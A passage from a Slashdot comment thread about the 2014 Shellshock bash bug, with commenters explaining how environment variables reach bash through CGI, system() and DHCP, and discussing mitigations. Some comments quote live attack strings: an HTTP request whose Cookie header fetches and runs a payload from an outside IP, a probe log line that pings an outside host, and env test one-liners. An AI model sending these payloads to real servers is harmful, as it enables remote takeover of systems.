      We've all heard the saying, "If builders built buildings the way programmers wrote programs the first woodpecker to come along would destroy civilization." This has given us a glimpse of what a woodpecker might look like.

      --
      Blasphemy is a human right. Blasphemophobia kills.
    24. Re:"could be worse than Heartbleed" by jpvlsmv · · Score: 4, Interesting

      Ok, perhaps I undermined the importance, but if you are using 'xzgrep' in cgi context in a serious situation, I would say that is still a mistake. Forking and execing in response to an http request is terrible performance wise before getting to the security dubious of it all.

      The dhclient-script stuff is pretty significant and I think I would be in a weak position saying that those have no business execing system commands/scripts. However it does suggest it may be worthwhile to have a helper that is non-root with capabilities to allow it to do key stuff to limit it's ability.

      # run under mod_perl
      print "Content-Type: text/plain\n\n";
      system("/usr/bin/xzgrep error /var/log/my.log");

      Can you see how this prefectly secure quick CGI to find errors in your log file would result in a system compromise?

    25. Re:"could be worse than Heartbleed" by arth1 · · Score: 4, Informative

      Any program that a) listens on a socket and b) calls out to a shell with an argument partially constructed from user input is vulnerable if the shell is unpatched bash.

      No, it's worse than that. You don't have to pass any arguments, and you don't even have to knowingly call shell - calling system() from a language that executes binaries in a shell context will do it, on systems that have /bin/sh point to bash (which is most of them these days).

      In short, anything that inherits environment variables (like TERM, LANG, LC_COLLATE) and executes anything in a shell context is vulnerable. No passing of arguments or deliberate call of bash is needed.

    26. Re:"could be worse than Heartbleed" by dkf · · Score: 1

      Outside of malicious HTTP headers landing in environment variable in CGI land, I'm hard pressed to think of another reasonable vector for this bug to be a problem...

      To be fair, with a moderately competent CGI implementation, the subprocess will start just fine. The problem comes with whatever that subprocess calls, since environment variables are inherited by default. The deeper you go, the greater the likelihood that some programmer will have used system() or popen(), or even flat-out implemented the process as a shell script.

      --
      "Little does he know, but there is no 'I' in 'Idiot'!"
    27. Re:"could be worse than Heartbleed" by fnj · · Score: 1

      Agreed, but that's not "using bash as the cgi handler". Not explicitly.

    28. Re:"could be worse than Heartbleed" by Aristos+Mazer · · Score: 1

      Parent is correct. No user input is needed. Just the shell call.

    29. Re:"could be worse than Heartbleed" by Kiwikwi · · Score: 2

      any CGI program + any non-Debian Linux => vulnerable

      No, only CGI programs that use system/popen/etc to call out to things that may be bash.

      Enh, good luck auditing even just a resonably complex CGI program for direct and indirect invocations of the system shell.

      For instance, care to guess whether this one is safe?

      For once, the PHP programmers are ahead security wise due to the ubiquity of mod_php...)

      Well for one most languages the equivalent facility is available and usually used since it is a requirement to scale.

      I know, mod_perl and mod_wsgi on Apache, and of course, Fast CGI. But CGI is still common in a lot of setups.

      For another, even the silly 'fork and exec' perl or php or python isn't vulnerable if said script avoids system/popen/backticks/whathaveyou.

      Even if you don't call out to the shell yourself, the standard library might.

      Pop quiz 1: How is the PHP mail function implemented?

      Pop quiz 2: What parts of the Python standard library module uuid are safe to use, and what parts will render your CGI script vulnerable?

      I guess I was wrong to play down the severity of bash, but my hope was for people to just consider themselves to make a mistake by ever potentially having bash in a cgi context, for reasons beyond this exploit.

      It's the system shell. It's everywhere. The real lesson here is to not use a big bulky program like Bash as the system shell.

      Answers to pop quiz:

      1. popen to execute sendmail program.

      2. The following Python CGI script is vulnerable: import uuid (that's it). (uuid uses ctypes.util.find_library, which uses popen).

      These examples took me less than 20 minutes of grepping to come up with, and I'm not even trying to hack any computers...

    30. Re:"could be worse than Heartbleed" by SumDog · · Score: 1

      I don't think you understand. Even if Apache is using CGI to call out to your safe perl CGI script, it opens up a Bash shell (the default shell) which opens that perl script (unless you're using mod_perl..I think FastCGI might be exempt as well, but I'm not entirely sure).

      You could possibly change Apache's default shell to something else like ksh or dash.

    31. Re:"could be worse than Heartbleed" by Arkh89 · · Score: 1

      Thanks for the explanation. I also finally got it a few hours ago (I am not a sysadmin or web developer) and I am more concerned about the rogue DHCP requests.

    32. Re:"could be worse than Heartbleed" by c · · Score: 2

      Try to understand, this is not about executing bash scripts as cgi, and it's not about sanitizing input. Period. It is about httpd setting environment variables from unsanitized user input when calling ANY cgi.

      Well... no. The root of the problem is bash treating something which really should only be considered data as code.

      When I hear the words "Environment Variables", I don't think "well, some random bozo is going to look at those and just up and execute 'em". For bash to be treating the contents of the environment as anything other than dumb strings is, quite frankly, a Very, Very Bad Thing. For variables being set within a shell script, sure, they're intended for bash. But for data passed from program to program and not really even intended for interpretation by any specific script engine (which is fundamentally what environment variables are for), it's incredibly dumb.

      --
      Log in or piss off.
    33. Re:"could be worse than Heartbleed" by Zenin · · Score: 1

      The vast, vast majority of tools do not need significant "scaling". Often just throwing a heavy weight job in the background (eg, transcoding a video file) is, and always will be, significant. Especially if you've got an auto-scaling web farm that'll just expand under load anyway. system("/big/job &") all day long.

      Sure, it'll never scale to YouTube levels, but it'll scale large enough for 99% of common use cases.

      The "proper" alternative architecture using message queues, etc is massively more code, complexity, and resource cost. Great if you actually need it, nothing but overhead when you don't, and you typically don't.

      --
      My /. uid is better then your /. uid
    34. Re:"could be worse than Heartbleed" by Zenin · · Score: 1

      Sure, a double fork() && exec() pattern is ideal, but it's also significantly more code and complexity (read: fat thumb bugs) than calling system("/some/command &");

      And before you say it, yes actually there are tons of use cases where forking a background process is a far superior method than any alternatives. It's one of the oldest and most common Unix programming patterns in existence. Programming doesn't really change much simply because you add "on the web" to the end of your use case.

      --
      My /. uid is better then your /. uid
    35. Re:"could be worse than Heartbleed" by Anonymous Coward · · Score: 0

      on systems that have /bin/sh point to bash (which is most of them these days)

      Speak for yourself, Linux weenie.

    36. Re:"could be worse than Heartbleed" by Darinbob · · Score: 1

      This is not the whole thing. The bug is there even if you're passing known constant strings to system(), ie, there is no input to sanitize.
      I do agree though that the fault is not only with bash, but from using system() as well. I've seen problems with it before, though stuff any good CGI design would avoid.

      (For example, what happens if you make sure /bin/sh is a good patched bash, or it's dash instead, but then /usr/local/bin shows up first in PATH and contains an old crusty version of bash and sh, which one does system() use? So a good system needs to make sure PATH is set to a known and valid value.)

    37. Re:"could be worse than Heartbleed" by Darinbob · · Score: 1

      Is it just /bin/sh? A lot of systems use just "sh" and so will use PATH to find the correct shell to use, so you have to watch out for /usr/local/bin, /opt/local/bin, and other things that are often earlier in the PATH search.

    38. Re:"could be worse than Heartbleed" by Darinbob · · Score: 1

      Most embedded systems aren't using bash though, not the small ones like routers anyway. If they're unix based they'll probably have ash or busybox. For ultrasound machines, which I've worked on, if they're linux they might have bash but I would think they'd use something else to save space. Even if bash they'd still need some other local program that uses system() or the like, plus an environment variable based on data from the outside world.

    39. Re:"could be worse than Heartbleed" by spitzak · · Score: 1

      You need to insert user-supplied data into an environment variable for this to be vulnerable.

      Also your example calls system() and thus it does not matter whether the executable is a bash script or not, because system() launches it's own bash interpreter. If the exploit was in an environment variable this would do it twice!

      The fact that you did this does show that system() is the problem. It is so tempting to call. I think about 90% of the reason is that it searches the path for the executable, which exec() does not do. Getting glob results is probably the other 10%. Really the library should be providing more convienent minimal functions so people don't do this.

    40. Re:"could be worse than Heartbleed" by Darinbob · · Score: 1

      You also need some form of data originating outside of the system that gets shoved into an environment variable. That's why CGI was the first obvious suspect for being exploited.

    41. Re:"could be worse than Heartbleed" by Arkh89 · · Score: 1

      The system function has thus nothing to do with that, right? The main point here being : start bash with a badly formatted environment variable.
      The vulnerability :
      env -i VAR='() { echo "Here is a legitimate function content"; }; echo "This is the vulnerability";' bash -c 'echo "Some code which is irrelevant";';

      Some C code (gcc -o testCode main.c) :
      #include
      int main(void)
      {
              printf("This is a Shelllock test\n");
              system("echo \"Hello World\"");
              return 0;
      }

      And start it with :
      env -i VAR='() { echo "Here is a legitimate function content"; }; echo "This is the vulnerability";' ./testCode

      I don't have any vulnerability message appearing here.

    42. Re:"could be worse than Heartbleed" by spitzak · · Score: 3, Informative

      Any program that a) listens on a socket and b) calls out to a shell with an argument partially constructed from user input is vulnerable if the shell is unpatched bash. Apparently DHCP does this: https://www.trustedsec.com/sep...

      You have it somewhat wrong. The arguments to the shell are irrelevant as several mention below. However the program must set an environment variable to unchecked user input, something everybody seems to be missing. According to the advisory, DHCP has this bug in that it copies strings in the request (or at least the string identified by "114") to environment variables.

      Not every program that calls system() sets environment variables to arbitrary text from the user, so not every program that calls system() is vulnerable, unlike a lot of people here are saying.

    43. Re:"could be worse than Heartbleed" by spitzak · · Score: 1

      No, it is any CGI program that sets an environment variable to unchecked user input and then invokes a shell or calls any other program that invokes a shell.

      Got that?

    44. Re:"could be worse than Heartbleed" by arth1 · · Score: 1

      system() will generally use a hardcoded /bin/sh for its environment, no matter what your path is. Else system() wouldn't work if the path was empty.

    45. Re:"could be worse than Heartbleed" by Darinbob · · Score: 1

      Ya you're right for the most part. I was confused by the : const char *argp[] = {"sh", "-c", NULL, NULL};
      Except that the first arg there is just the name being used, not the actual file to be executed, which was my mistake.

      However I do recall some unixlike-but-not-unix systems that used other methods to find the shell because is wasn't always in a fixed location.

    46. Re:"could be worse than Heartbleed" by arth1 · · Score: 1

      For example, what happens if you make sure /bin/sh is a good patched bash, or it's dash instead, but then /usr/local/bin shows up first in PATH and contains an old crusty version of bash and sh, which one does system() use?

      It uses /bin/sh, which is hardcoded.
      Else, it would fail to execute a binary if the path was empty.

      From the man page, system(3):


                    The system() library function uses fork(2) to create a child process
                    that executes the shell command specified in command using execl(3) as
                    follows:

                            execl("/bin/sh", "sh". "-c", command, (char *) 0);

                    system() returns after the command has been completed.
                    The system() library function uses fork(2) to create a child process
                    that executes the shell command specified in command using execl(3) as
                    follows:

                            execl("/bin/sh", "sh". "-c", command, (char *) 0);

                    system() returns after the command has been completed.

    47. Re:"could be worse than Heartbleed" by Darinbob · · Score: 1

      On the other hand it's a very straight forward and not too large function to do exactly the same thing as system() for an absolute path name with fixed arguments.

    48. Re:"could be worse than Heartbleed" by Darinbob · · Score: 2

      It looks like a side effect of how it passes exported functions to sub shells. The only communication mechanism for talking to the subshell is the environment. So these are implemented by putting the function in an environment variable, then the subshell on startup looks at every variable to see if it looks like a function, and if so tries to turn them into a function. The snag then is that it does this by actually executing what's in the variable instead of fully parsing it first.

    49. Re:"could be worse than Heartbleed" by Anonymous Coward · · Score: 0

      ...on systems that have /bin/sh point to bash (which is most of them these days).

      None of the BSD's do this, nor do I recall any of the commercial *nixes (Solaris, HPUX, etc). Only Linux.

    50. Re:"could be worse than Heartbleed" by Anonymous Coward · · Score: 0

      Debian doesn't and since it's the 'only true Linux', then it's not 'only Linux'.

    51. Re:"could be worse than Heartbleed" by Linnerd · · Score: 1

      To exemplify this:

      If your system supports the "#!" magic number any command implemented as a (ba)sh script any way it is called (no need for system!) will trigger the bug.

      Implementing functionality in shell scripts and wrapping commands in shell scripts is a *very* common thing in UNIX systems of any flavor and frequently you won't even realize that until a bug like this hits you.

      For size try: file /usr/bin/* | grep "shell script" | wc -l

    52. Re:"could be worse than Heartbleed" by c · · Score: 1

      The only communication mechanism for talking to the subshell is the environment.

      Well, the easy communication mechanism is the environment. And, quite frankly, I don't have a particular problem with bash treating stuff that bash intends to be a chunk of code as code. It's just random other bits of the environment that aren't intended for bash that are the problem.

      It's *nix, though, so there's many more ways to pass data around between processes than just the environment. Even if you've gotta use the environment, why not go with a env variable namespace, like "BASH_FUNCTION_FOO=()"?

      --
      Log in or piss off.
    53. Re:"could be worse than Heartbleed" by Kiwikwi · · Score: 1

      No, it is any CGI program that sets an environment variable to unchecked user input and then invokes a shell or calls any other program that invokes a shell.

      Got that?

      No, it's not the CGI program that sets the HTTP_USER_AGENT environment variable, and this is not a vulnerability in the CGI program nor the CGI protocol. The fault lies 100% with Bash, which executes arbitrary shell code from arbitrary environment variables.

    54. Re:"could be worse than Heartbleed" by theCoder · · Score: 1

      Check your /bin/sh symlink. The system() function essentially does `/bin/sh -c "PASSED_ARGUMENT"'. On many (all?) Debian based systems, /bin/sh is a link to 'dash', not 'bash'. IIRC, this was done for speed reasons, but it is likely that dash does not happen to have the same bug as bash.

      --
      "Save the whales, feed the hungry, free the mallocs" -- author unknown
    55. Re:"could be worse than Heartbleed" by arth1 · · Score: 2

      Not every program that calls system() sets environment variables to arbitrary text from the user, so not every program that calls system() is vulnerable, unlike a lot of people here are saying.

      Keep in mind that the program that calls system() does not have to be the one that accepts environment variables from tainted input. It may inherit the environment variables from a caller who does, or it may be several layers deep.
      Unless a process discards all environment variables or verifies every single set environment variable whether used or not, it may pass the problem on to another process that calls system().

    56. Re:"could be worse than Heartbleed" by unrtst · · Score: 1


      # run under mod_perl

      print "Content-Type: text/plain\n\n";

      system("/usr/bin/xzgrep error /var/log/my.log");

      Can you see how this prefectly secure quick CGI to find errors in your log file would result in a system compromise?

      Yes, this is a very bad bug with many possible vectors of attack; No, that is not good code nor coding practice.

      Why in the world would you have a mod_perl script that is calling a system command just to grep through some text?!!?
      Regardless, in the realm of the potential for there to be some justifiable reason to call system(), the example should then be:
      system('/usr/bin/xzgrep', 'error', '/var/log/my.log');
      in which case, the shell is not executed.

    57. Re:"could be worse than Heartbleed" by Anonymous Coward · · Score: 0

      According to Redhat, mod_python/php/etc are not vulnerable.

      CGI scripts are likely affected by this issue: when a CGI script is run by the web server, it uses environment variables to pass data to the script. These environment variables can be controlled by the attacker. If the CGI script calls Bash, the script could execute arbitrary code as the httpd user. mod_php, mod_perl, and mod_python do not use environment variables and we believe they are not affected.

      This means the overwhelming majority of php installations won't be affected.

    58. Re:"could be worse than Heartbleed" by jwhitener · · Score: 1

      To be fair, anyone using bash as the cgi handler for anything remotely serious was already doing it wrong

      It isn't just cgi. Even ssh could be used as an attack vector. ssh into a system as user, and if that user's env is bash....

      There were multiple attack vectors (even dhcp). cgi being just one of them.

    59. Re:"could be worse than Heartbleed" by spitzak · · Score: 1

      Sorry you are right. It is with any program that calls anything that eventually calls system recursively.

      The problem is a lot of people are saying "this program calls system() and is therefore vulnerable". That is false. That program, or something calling it, must also set an environment variable to unchecked user input. Therefore it is not quite as bad as this knee-jerk reaction is. It is pretty bad, but all actual holes found involve an outermost program that sets environment variables.

      I fully agree that 100% of the bug is in bash, not anywhere else. Though programmers and libraries could be blamed some for encouraging use of system() when other methods would not only be safer but faster too, but those methods have too complex an api. Certainly I have seen even python code use system to do things such as run rm, when python has a library method to remove files. There is a serious problem that it is nearly impossible to locate how to do something easily other than doing system().

    60. Re:"could be worse than Heartbleed" by jpvlsmv · · Score: 1
      Bash is still executed even with the multi-argument call to system.

      The file /usr/bin/xzgrep is a shell script (note the #!/usr/bin/bash as the first line of the file). It inherits the CGI environment variables from its parent process, in this case the Perl interpreter. And since some of those CGI environment variables are controlled by the attacker (such as the Referrer: and Cookie: headers) the arbitrary code is executed.

      And Bash is even executed when you open(INFILE, "/usr/bin/xzgrep error /var/log/my.log|","r") -- because the thing you're running isn't an ELF executable, it's a #!/usr/bin/bash text file.

      Yes, there are other ways to do this (call xz directly without the xzgrep wrapper, use IO::Compress::xz, etc).

    61. Re:"could be worse than Heartbleed" by Anonymous Coward · · Score: 0

      You don't need to use bash as the cgi handler.

      No, you're wrong. The cgi handler is bash because that's how most cgis fork the handler. So you're always vulnerable if you're using any cgi-enabled server, regardless of any of your code.

    62. Re:"could be worse than Heartbleed" by Anonymous Coward · · Score: 0

      I hope you are not writing code that runs on other peoples systems:

      1: You should not call external scripts, as somebody might also replace xzgrep on the system
      2: Your webserver should not be able to read files in the /var/log directory
      3: The commands a webserver can run must be severely restricted by setting strict access rights for the webserver user.

  5. When did we start naming bugs? by Anonymous Coward · · Score: 0, Interesting

    Bugs used to just be bugs, now we give them names like virii and terrorist cells
    quit with the sensationalism already we don't *NEED* everything to have a dramatic (and frankly stupid) name

    1. Re:When did we start naming bugs? by Anonymous Coward · · Score: 0

      Interestingly, "Shell Shocker" is also Newegg.com's marketing language.

    2. Re:When did we start naming bugs? by Anonymous Coward · · Score: 0

      Actually, viruses for the most part have stopped using names*. Seems to be that stuff attempting to get a headline and of medium availability (read: it won't make the headlines without a name) is what gets named these days.

      * Real viruses go by things like H1N1 now, not "Ebola" like they used to -- legacy viruses still have their names of course**.

      ** If you were talking about computer viruses, they often have such informative names as Kryptik and Agent now, unless they're a legacy virus, in which they still have their name.

    3. Re:When did we start naming bugs? by mr_mischief · · Score: 1

      H1N1 is a specific strain of a family of viruses known as influenza. Ebola is caused by multiple virus strains, too, each with their own origin name. Ebola strains

  6. Re:So flog the bash developer who checked this in. by Anonymous Coward · · Score: 0

    I'm not sure if we should be blaming anyone too much, but yes, if someone has the skill to dig it up, I would also be interested to see the precise commit which introduced the bug.

  7. Just remove the damn "feature" by Anonymous Coward · · Score: 0

    Put out a bash that disables importing shell functions from the environment altogether, and then fix whatever breaks. It seems too dangerous to try and make a patch that doesn't break existing programs using what is surely a little used feature over the security of servers and clients all over the world.

    1. Re: Just remove the damn "feature" by Anonymous Coward · · Score: 0

      They did in fact do that.

      They did it wrong leaving bash still vulnerable, but, they tried.

    2. Re:Just remove the damn "feature" by Eravnrekaree · · Score: 1

      Its not a feature, it a bug, it does something that a programmer does not intend for it to do. When your script is simply given an environment variable, you dont expect for it to be executed as code unless you explicitely tell it to. If i am reading the CVE right, thats whats happening.

    3. Re:Just remove the damn "feature" by Anonymous Coward · · Score: 0

      exporting functions through environment variables is listed as a feature. They're trying to preserve that function while making the parser more robust. Unfortunately they failed they first time through. Debian's Ian Jackson is contemplating moving a bash version which strips the function into Sid.

    4. Re:Just remove the damn "feature" by Eravnrekaree · · Score: 1

      Does the intended operation of the feature just automatically execute shell code coming in through an environment variable without you telling bash to do so? If no, then the bug is not an intended part of a feature, since I would hope no one would design bash in such a way that environment variables are executed as code without being told to do that. If you tell bash to execute something in a environment variable, thats fine, not a bug at all. The key here is, fix it so that environment variables are not executed without being told to do so.

  8. Can anyone explain? by serviscope_minor · · Score: 1

    I'm not really understanding why this is a flaw at the moment.

    Does anyone have a good explanation or a link to a good explanation?

    --
    SJW n. One who posts facts.
    1. Re:Can anyone explain? by diamondmagic · · Score: 4, Informative

      The vulnerability is that a string that looks like a function definition can be constructed to be immediately executed prior to execution of the bash script. (This is to support truly ancient bash scripts back when functions were defined as VARIABLE()="() { body }".) However, a bug in that code means the entire value gets executed as a bash script, and so it's possible to append code to the function definition, and it'll get executed as bash code.

      Essentially, it's lesson #1 why not to use eval() in your programs.

      The danger is that user inputs in Web programs are frequently passed as environment variables to programs. This is especially true in CGI, where the request URI and HTTP headers are passed as environment variables.

      This means if you use bash in your CGI, you can execute whatever command you like, as "apache" or whoever you're executing your CGI as. Remotely.

    2. Re:Can anyone explain? by vux984 · · Score: 1

      bash scripts use environment variables to store arguments. web requests passed to cgi scripts calling bash can result in bash assigning those header values to environment variables.

      Due to a bug in bash, assigning an environment variable with 'extra stuff at the end' of the assignment results in the extra stuff being executed.

      So calling a website with maliciously crafted header values with 'extra stuff', if bash assigns those values to an environment variable, to the extra stuff being executed.

      So for example if i call a cgi with bash on the backend, and that bash script sets an environment to the user agent string. Then by maliciously crafting the user agent string I can get bash to execute arbitrary commands...

    3. Re:Can anyone explain? by Anonymous Coward · · Score: 0

      Mod this up... good question. There is a lot of hype and no real meat on this. If you have no cgi configured in apache, do you need to worry? What about ssh? All the dumb questions that aren't answered. Do you need to worry if you ran the latest updates on Linux in the last couple of days/week. ETC.

  9. "could be" by RLiegh · · Score: 2

    but IS it?

    1. Re:"could be" by wonkey_monkey · · Score: 1

      I think it's safe to assume that it was "in the wild" approximately 30 seconds after the news came out (if not before).

      --
      systemd is Roko's Basilisk.
  10. Bash Vahalla Rampage by Anonymous Coward · · Score: 0

    The OpenSSL Vahalla Rampage seems to have petered out. Last post was "2 weeks ago." Guess they fixed everything.

  11. I disabled CGI in Apache by Spy+Handler · · Score: 1

    am I safe?

    My server doesn't do anything other than web serving via apache/mysql/php, and everything else is locked down.

    1. Re:I disabled CGI in Apache by Anonymous Coward · · Score: 0

      You should be, but I'm not sure if you can run PHP after that, as they are CGI programs too.

    2. Re:I disabled CGI in Apache by Anonymous Coward · · Score: 1

      Anon because I am modding.

      No you are not safe, Patch/update your system. I know too many php programmers that dont even think twice about calling a system command from inside php.

    3. Re:I disabled CGI in Apache by Anonymous Coward · · Score: 0

      If you're running php on your web server, any potential bash exploit is superfluous.

      (I kid, I kid...)

    4. Re:I disabled CGI in Apache by Daniel_Staal · · Score: 1

      Depends on what PHP is doing. If it makes a call to system(), anywhere... No, you are not. (Assuming you have bash as /bin/sh - the BSD's don't, and some Linux distros don't.)

      If it stays entirely within PHP, then you are. But that'd be a lot of work to double check - You need to check every line of code you run, and the php interpreter itself to see where it calls out.

      --
      'Sensible' is a curse word.
  12. And this is why I insist on open source at work by Anonymous Coward · · Score: 0

    and play so that these sorts of things could never possibly happen.

    1. Re:And this is why I insist on open source at work by kthreadd · · Score: 1

      When these things happen users typically have to wait until the next patch Tuesday.

    2. Re:And this is why I insist on open source at work by rHBa · · Score: 1

      This was fixed for me yesterday (I think) as explained in my other post. So even if this patch isn't 100% at least there was something out within 24hrs.

  13. Summary has an incorrect point by Anonymous Coward · · Score: 1

    More bad news: "[T]he initial fix for the issue still left Bash vulnerable to attack,

    Not so. The initial fix is not vulnerable to this attack.

  14. Preempting dumb discussion by LordLimecat · · Score: 4, Insightful

    Looking at security discussions in terms of OS is really, really dumb. Windows wasnt vulnerable to heartbleed or this, but not because its Windows. Linux isnt affected because of the kernel. As has been the case for a very long time, actual OS flaws are exceedingly rare.

    Anyone who uses this as an opportunity to post a screed about how Linux is better or worse than Windows is showing their ignorance by boiling down complex security considerations into black and whites.
     

    1. Re:Preempting dumb discussion by Anonymous Coward · · Score: 0

      Thank you, I am modding them down for making such stupid comments.

    2. Re:Preempting dumb discussion by Anonymous Coward · · Score: 0

      Privilege escalation is always the kernel's fault. A failed/exploited process should never be able to gain control of a system.

    3. Re:Preempting dumb discussion by Just+Some+Guy · · Score: 1

      Privilege escalation is always the kernel's fault. A failed/exploited process should never be able to gain control of a system.

      Bullshit. First, "shellshock" isn't a privilege escalation bug, it's a remote code execution bug. Second, an overly liberal /etc/sudoers is a time bomb waiting to happen but has nothing to do with the kernel. Combine the two - say when a dev has something like httpd ALL=(ALL) ALL so that users can change their password via a web interface or something insane but common like that - and suddenly Johnny Cracker can hack the Gibson with only a single authorized setuid() call.

      --
      Dewey, what part of this looks like authorities should be involved?
    4. Re:Preempting dumb discussion by LordLimecat · · Score: 1

      Its affected because of bash, which is distinct from the kernel. Likewise heartbleed was a problem on linux because of OpenSSL, and not Windows because Windows uses sChannel.

      As I said-- legit kernel flaws are super rare. 99% of viruses these days come in through browsers (20%) and their plugins (80%). Attacks on servers tend to be through the http or ssl daemons or associated extensions (php etc).

    5. Re:Preempting dumb discussion by ray-auch · · Score: 5, Funny

      Perhaps we should just be completely accurate and say: Linux is not vulnerable. GNU/Linux _is_ vulnerable. At least we keep RMS happy :-)

    6. Re:Preempting dumb discussion by BasilBrush · · Score: 0

      "Preempting..."

      Is that like admitting you're making a strawman argument before you've actually made it?

    7. Re:Preempting dumb discussion by exomondo · · Score: 1

      Linux isnt affected because of the kernel.

      How's that then?

      His point is that the issue is not with Linux at all, because Linux is just a kernel. The issue is with Bash and you can quite easily have Linux installed without Bash. In fact tens of millions of people have Linux running on their Android phones without Bash and you'll find a number of people have Bash installed on Windows using cygwin.

    8. Re:Preempting dumb discussion by Zenin · · Score: 1

      Trying to brush off blame with the tired old nonsense that "Linux is just the kernel, man!", just doesn't fly anymore. Hell, it never really has.

      The term "Linux" is well understood to mean a family of full, complete operating systems (libs, userland, and all). When anyone is actually speaking of just the kernel, it's qualified as exactly that, "The Linux kernel...blagh, blagh".

      --
      My /. uid is better then your /. uid
    9. Re: Preempting dumb discussion by matt8710 · · Score: 1

      Linux by itself isn't an OS. POSIX (Portable Operating System Interface) includes the C library and utilities, including the shell. I'd certainly consider Bash part of the OS (for distros that use it). Same for the SSL library. These things are certainly considered part of the OS in Windows.

    10. Re:Preempting dumb discussion by LordLimecat · · Score: 1

      Its like anticipating a discussion thread that occurs every single time a vulnerability on any OS is ever announced on slashdot.

      If you want I can link you fine examples of the insanity from past IE11 bugs, past Pwn2Own competitions, the Heartbleed thread, OSX virus announcements, and so on and so forth. Slashdotters seem to revel in their ignorant OS partisanism.

    11. Re:Preempting dumb discussion by LordLimecat · · Score: 1

      Except OSX is also vulnerable, and any other OS that uses bash.

    12. Re: Preempting dumb discussion by Anonymous Coward · · Score: 0

      but that is exaxtly how it works. Linux is just the kernel. it's always been just the kernel. the userland tools etc aren't apart of the kernel so this is not the Linux kernels fault. it's a third party program called bash who is at fault and some argue system() and fopen() share equal blame as well.

    13. Re: Preempting dumb discussion by BasilBrush · · Score: 0

      Perhaps RMS's one worthwhile point is that the complete OS should be called GNU/Linux. Thus removing the (sometimes cherry-picking) distinction between the kernel alone and the rest that usually bundled to make a complete OS.

  15. Phew, that was close by Anonymous Coward · · Score: 0

    We almost got through this without the media making up a cute name for it! Thanks for saving us, media! Assholes.

    1. Re:Phew, that was close by riondluz · · Score: 1

      for some odd reason I cannot for the life of me
      remember the name (goes to check notes... aha)
      Shell Shock!
      I just keep wanting to call it "Skull Fucker"

      --
      resist propaganda
  16. I sure as hell saw that coming by Plumpaquatsch · · Score: 4, Funny

    That ultimately the BASH vulnerability would be used to blame Apple for bad security.

    --
    Of course news about a fake are Fake News.
    1. Re:I sure as hell saw that coming by Anonymous Coward · · Score: 1

      Happens to MS all the time..

      Every flash failure is reported as a bug in IE...

      People just like to play the 'My (object) is better than yours!" playground game.

    2. Re:I sure as hell saw that coming by Anonymous Coward · · Score: 0

      So the next story on Windows getting owned by a Flash/Java issue will you be back saying the same thing?

    3. Re:I sure as hell saw that coming by Anubis+IV · · Score: 1

      If a browser isn't properly sandboxing its plugins, it is the browser developer's fault. I get where you're coming from, and I agree with your premise, but you sure picked a lousy analogy to make your point.

    4. Re:I sure as hell saw that coming by Em+Adespoton · · Score: 1

      Happens to MS all the time..

      Every flash failure is reported as a bug in IE...

      People just like to play the 'My (object) is better than yours!" playground game.

      Well, to be fair, Flash plugin support IS a bug in IE. And Apple actually has bash as part of the vanilla install -- attacks against it can be made against an install that's just completed -- so Apple is in some way at fault for bundling a default shell that isn't fully hardened.

      The big question is: How does OpenBSD fare with this?

    5. Re: I sure as hell saw that coming by Anonymous Coward · · Score: 0

      OpenBSD uses pdksh for its default shell. Just for giggles, I tried the bash test, and the shell did nothing. Make of that what you will, I am not a security expert.

    6. Re:I sure as hell saw that coming by mi · · Score: 2

      No BSD system uses bash — if only for licensing issues (bash is GNU-licensed).. Thus, you are safe (from this bug) on DragonFlyBSD, FreeBSD, NetBSD, OpenBSD and any other BSD-licensed OS, unless you deliberately installed bash (such as from port) and wrote a CGI-script to use it.

      --
      In Soviet Washington the swamp drains you.
    7. Re:I sure as hell saw that coming by Em+Adespoton · · Score: 1

      Doh... silly me. I even prefer tcsh; it took me years to get used to bash on other platforms.

      And from the looks of things, the bug is not in tcsh, which follows the more sane (to me) csh method of storing environment variables. Zsh, however, IS suscpetible to the bug, in at least some situations.

    8. Re:I sure as hell saw that coming by Trogre · · Score: 1

      Well okay, but patches are available for the major Linux distributions. One apt-get and it's fixed.

      From Apple? Nothing. You need to download the source for bash, download a patch, compile it yourself (after making sure you have a fully functional XCode) and manually copy it over the existing binary.

      I'm not sure that's the kind of Thinking Different they were talking about.

      --
      "Nine times out of ten, starting a fire is not the best way to solve the problem." - my wife
    9. Re:I sure as hell saw that coming by Plumpaquatsch · · Score: 1

      Well okay, but patches are available for the major Linux distributions.

      And most of them have new problems or don't fix the old one.

      --
      Of course news about a fake are Fake News.
    10. Re:I sure as hell saw that coming by Anonymous Coward · · Score: 0

      I'm sorry are you from the past?

  17. Clearly you're by Anonymous Coward · · Score: 0

    on the wrong site.
    gb2/whereever you came from.

  18. Port by Anonymous Coward · · Score: 0

    Port 80 is a TCP port, not an "Internet Protocol" port. Get it right...

    1. Re:Port by Anonymous Coward · · Score: 0

      I run ICMP on Port 80, I also run ARP on port 80, and I run UDP on Port 80... you insensitive clod!

  19. Re:I love it. by ColdWetDog · · Score: 1, Funny

    And every time I boot my Windows 7 VM the OS is complaining that it needs to be updated, third party programs are complaining they need to be updated. Hell, my pet Botnets are complaining they need to be updated.

    Welcome to our world.

    --
    Faster! Faster! Faster would be better!
  20. Yes it is being exploited by xanthos · · Score: 5, Informative

    There is evidence that this is being exploited in the wild.
    Nginx and Apache servers using mod_cgi are two potentially vulnerable services.

    The risk is that it is possible to modify environment variables which then could allow the execution of arbitrary code with the permissions of the parent process.

    An example attack:

    GET./.HTTP/1.0 .User-Agent:.Thanks-Rob .Cookie:().{.:;.};.wget.-O./tmp/besh.http://162.253.66.76/nginx;.chmod.777./tmp/besh;./tmp/besh;

    Over at the Internet Storm Center http://isc.sans.org/ they have been updating their advisory and and a have a simple one-liner to test if a system is vulnerable.

    --
    Average Intelligence is a Scary Thing
    1. Re:Yes it is being exploited by Cramer · · Score: 2

      Nice try. /tmp (and /var/tmp) are noexec tmpfs's on my webservers. Surprising how many wp and vb problems that stops.

  21. How to disable CGI in Apache by Animats · · Score: 5, Insightful

    If you're running Apache on Linux/UNIX, and don't absolutely need CGI, turn it off now.

    Put a "#" in front of
    LoadModule cgi_module modules/mod_cgi.so
    in /etc/httpd/conf/httpd.conf. This will totally disable all CGI scripts. That's a good thing. Apache is willing to execute CGI scripts from far too many directories, and many Linux distros have some default CGI scripts lying around.

    Note that this will break CPanel, but not non-CGI admin tools such as Webmin.

    People are out there probing. This is from an Apache server log today from a dedicated server I run.

    89.207.135.125 - - [24/Sep/2014:23:08:56 -0700] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 301 338 "-" "() { :;}; /bin/ping -c 1 198.101.206.138"

    1. Re:How to disable CGI in Apache by Anonymous Coward · · Score: 0

      Why not just remove bash? Hell on my FreeBSD server bash isnt even installed.

